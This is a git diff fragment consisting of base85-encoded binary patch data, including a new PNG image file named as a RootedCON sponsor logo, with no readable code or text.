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
Uw2g(q(Qf_c)_-pO=RflR04JI`L;wH)

literal 0
HcmV?d00001

diff --git a/src/images/sponsor_rootedcon.png b/src/images/sponsor_rootedcon.png
new file mode 100644
index 0000000000000000000000000000000000000000..cf4e8a20a28c87f853bfc5328121718cc5948c13
GIT binary patch
literal 24857
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
